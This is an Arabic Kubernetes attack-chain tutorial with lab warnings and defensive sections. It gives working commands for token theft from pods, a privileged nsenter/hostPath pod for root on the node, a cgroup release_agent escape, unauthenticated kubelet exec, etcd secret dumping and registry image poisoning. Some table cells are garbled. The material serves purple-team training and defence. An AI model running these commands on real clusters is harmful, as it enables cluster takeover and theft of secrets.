سلاسل هجوم Kubernetes المتكاملة
إساءة استخدام RBAC، الهروب من الـ Pods، واختراق etcd
سلاسل هجوم Kubernetes (Kubernetes Attack Chains)
تعد منصات التطبيقات الحديثة بمثابة خزائن للاعتمادات ومخازن للأسرار، كما تمثل طريقاً سريعاً للوصول إلى كافة أعباء العمل الأخرى داخل العنقود (Cluster). يهدف هذا الدرس إلى رسم مسار المهاجم بدءاً من القدرة على تشغيل حاوية (Pod) وصولاً إلى السيطرة الكاملة على "مستوى التحكم" (Control Plane)، مع تسليط الضوء على نقاط الاختناق التي يجب على المدافعين تحصينها أولاً.
[!warning] التأثير على العنقود يجب تنفيذ هذه التقنيات فقط على العناقيد التي تملكها أو في بيئات المختبرات مثل KubeGoat أو Kubernetes Goat. تذكر أن أي تغيير غير صحيح في صلاحيات RBAC داخل عنقود مشترك قد يؤدي إلى تعطيل بيئة الإنتاج للجميع.
نموذج التهديد (Threat Model)

توجد خمس نقاط دخول رئيسية: تسريب ملفات kubeconfig، واجهات البرمجيات (API) أو لوحات التحكم المكشوفة، أعباء العمل الضعيفة، الـ kubelet غير المؤمن، وصور الحاويات المفخخة في سلسلة التوريد.
1. الاستطلاع (Reconnaissance) — ما هو سطح الهجوم المكشوف؟
# البحث عن واجهات برمجة تطبيقات Kubernetes المكشوفة$ shodan search 'product:"Kubernetes"'$ shodan search 'http.title:"Kubernetes Dashboard"'$ fofa.info 'app="kubernetes" && country="XX"'$# بمجرد الحصول على عنوان IP:$ kubectl --insecure-skip-tls-verify --server=https://API:6443 get nodes# إذا كانت المصادقة المجهولة (Anonymous-Auth) مفعلة، يمكنك قراءة كافة البيانات$ kubectl --insecure-skip-tls-verify --server=https://API:6443 auth can-i --list
2. من اختراق الحاوية إلى العنقود (Pod RCE → Cluster)
عند نجاحك في اختراق حاوية (Pod) عبر ثغرة على مستوى التطبيق (مثل SSRF أو Deserialization)، تبدأ مرحلة التقصي الداخلي:
# داخل الحاوية (Pod)$ ls /var/run/secrets/kubernetes.io/serviceaccount/$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)$ APISERVER=https://kubernetes.default.svc$ NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)$# ما هي صلاحيات حساب الخدمة (SA) الحالي؟$ curl -sk -H "Authorization: Bearer $TOKEN" \$ "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \$ -X POST -H 'Content-Type: application/json' \$ -d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
3. إساءة استخدام RBAC — مسارات تصعيد الصلاحيات
بعض صلاحيات RBAC تعادل الحصول على صلاحيات الجذر (Root) في العنقود:
| الصلاحية (Verb) | لماذا تعادل صلاحية المسؤول (Admin)؟ |
|---|---|
| تتيح تحميل نظام ملفات المضيف والهروب إلى النود (Node) |
| تتيح الدخول إلى أي حاوية موجودة وسرقة الاعتمادات |
| تتيح قراءة رموز (Tokens) حسابات الخدمة، بما فيها حساب المسؤول |
| تتيح منح نفسك أي صلاحيات إضافية |
| تتيح ربط دور Cluster-Admin بهويتك الحالية |
| تتيح تقمص شخصية أي مستخدم بما في ذلك |
| تتيح تعديل وسوم النود للتهرب من القيود أو تغيير جدولة المهام |
# تصعيد الصلاحيات عبر 'create pods' (تحميل نظام ملفات النود)$ cat <<'EOF' | kubectl apply -f -$ apiVersion: v1$ kind: Pod$ metadata: { name: pwn, namespace: default }$ spec:$ hostPID: true$ hostNetwork: true$ containers:$ - name: pwn$ image: alpine$ command: ["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","sh"]$ securityContext: { privileged: true }$ volumeMounts: [{ name: host, mountPath: /host }]$ volumes: [{ name: host, hostPath: { path: / } }]$ EOF$ kubectl exec -it pwn -- sh# أنت الآن تعمل كجذر (Root) على النود المضيف.
4. تقنيات الهروب من الحاويات (Pod Escape Primitives)
حتى في حال حظر
privileged: true| خطأ التكوين | تقنية الهروب |
|---|---|
| استخدام |
| التواصل مع الـ kubelet على |
تحميل | الكتابة في |
| تحميل cgroup |
| تحميل مقبس Docker (Socket) | استخدام |
| RunAsUser 0 + غياب AppArmor | استغلال سلاسل تصعيد الصلاحيات (LPE) في النواة |
الهروب عبر release_agent (لا يزال فعالاً في العديد من العناقيد)
# داخل حاوية تملك صلاحية CAP_SYS_ADMIN$ mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp$ mkdir /tmp/cgrp/x$ echo 1 > /tmp/cgrp/x/notify_on_release$ HOST_PATH=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)$ echo "$HOST_PATH/cmd" > /tmp/cgrp/release_agent$ echo '#!/bin/sh' > /cmd && echo 'id > /tmp/host_id' >> /cmd && chmod +x /cmd$ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"$ cat /tmp/host_id
5. الـ Kubelet غير المؤمن (منفذ 10250)
إذا تم ضبط
--anonymous-auth=true--authorization-mode=AlwaysAllow$ curl -sk https://NODE:10250/pods | jq '.items[].metadata.name'# تنفيذ أمر في أي حاوية:$ curl -sk -X POST 'https://NODE:10250/run/<ns>/<pod>/<container>?cmd=id'
6. استخراج بيانات etcd
إذا تمكنت من الوصول إلى منفذ etcd (2379) دون الحاجة لمصادقة الشهادات (Client-cert Auth)، يمكنك قراءة كل أسرار العنقود، بما في ذلك ملفات kubeconfig الخاصة بالمسؤولين وجميع رموز حسابات الخدمة.
$ ETCDCTL_API=3 etcdctl --endpoints=https://etcd-host:2379 \$ --cacert=ca.crt --cert=apiserver.crt --key=apiserver.key \$ get / --prefix --keys-only | head$ ETCDCTL_API=3 etcdctl ... get /registry/secrets/kube-system/admin-key
[!danger] الوصول إلى etcd يعني السيطرة الكاملة تعد النسخ الاحتياطية لـ etcd المخزنة في حاويات S3 دون تشفير من أكثر الثغرات تكراراً. يجب معاملة ملفات etcd بنفس مستوى السرية الذي تعامل به ملفات NTDS.dit في بيئات Active Directory.
7. مخاطر سلسلة التوريد — سجلات الصور
# البحث عن سجلات الصور (Registries) المكشوفة$ shodan search 'product:"Docker Registry" "/v2/"'$# سحب صورة خاصة دون مصادقة (في حال وجود خطأ تكوين)$ curl https://registry.target/v2/_catalog$ curl https://registry.target/v2/<image>/manifests/latest -H "Accept: application/vnd.docker.distribution.manifest.v2+json"$# حقن طبقة خبيثة أو استخدام تقنية Typosquatting للوسوم (Tags)$ docker tag pwn:latest registry.target/library/nginx:1.25.3-alpine$ docker push registry.target/library/nginx:1.25.3-alpine
سيناريو اختراق كامل (Purple-Team Scenario)
# 1. اكتشاف لوحة تحكم مكشوفة (قراءة مجهولة لنقطة /metrics)$ curl https://target/metrics | grep kube_pod_info | head$# 2. العثور على حاوية (Pod) تشغل تطبيقاً ضعيفاً واختراقها عبر SSRF$ curl 'https://target/api?url=http://app/internal'$# 3. من الداخل، تعداد صلاحيات SA؛ تبين وجود صلاحية create pods (دور default-edit)# 4. إنشاء حاوية ذات صلاحيات (Privileged Pod) تقوم بتحميل نظام ملفات المضيف /# 5. استخدام nsenter للوصول للمضيف واستخراج اعتمادات Kubelet# 6. استخدام اعتمادات Kubelet لتنفيذ exec على حاوية apiserver واستخراج ملف --token-auth-file# 7. باستخدام رمز Cluster-Admin، استخراج بيانات etcd → الحصول على كافة الأسرار واعتمادات السحابة# 8. التحرك الجانبي نحو السحابة (عبر IRSA / Workload Identity)
أولويات الدفاع (Defender Priorities)
- تعطيل المصادقة المجهولة على مستوى الـ apiserver والـ kubelet عبر ضبط .
--anonymous-auth=false - تفعيل PodSecurityAdmission بنمط على كافة نطاقات الأسماء (Namespaces)؛ وحظر الـ
restrictedوالـprivilegedوغيرها.hostPath - فرض سياسات الشبكة (Network Policies) بنمط "رفض الكل" (Default-Deny) بين نطاقات الأسماء؛ لمنع التحرك الجانبي.
- تشفير الأسرار أثناء السكون (At Rest) باستخدام مزود KMS وتدويرها بانتظام.
- إدارة الصور: التحقق من التواقيع الرقمية (Cosign / Sigstore) وحظر استخدام الوسم .
latest - مراجعة RBAC دورياً: البحث عن صلاحيات مثل و
escalateوbind.impersonate - إرسال سجلات التدقيق (Audit Logs) إلى SIEM: والتنبيه عند رصد عمليات أو
pods/execخارج النطاق المعتاد.secrets/get
أفكار للرصد والتقصي النشط
| مصدر البيانات | مؤشر الاختراق (Detection) |
|---|---|
سجلات | أي تنفيذ أوامر من قبل مستخدم بشري في بيئة الإنتاج |
| طلبات GET مجهولة للأسرار | محاولات استطلاع نشطة |
إنشاء Pod مع | تنبيه حرج جداً — نشاط تخريبي مؤكد غالباً |
| تواصل مع Kubelet 10250 من خارج مستوى التحكم | محاولة تحرك جانبي (Lateral Movement) |
| ارتفاع زمن استجابة etcd مع قراءات ضخمة | احتمال وجود عملية استخراج بيانات (Dump) |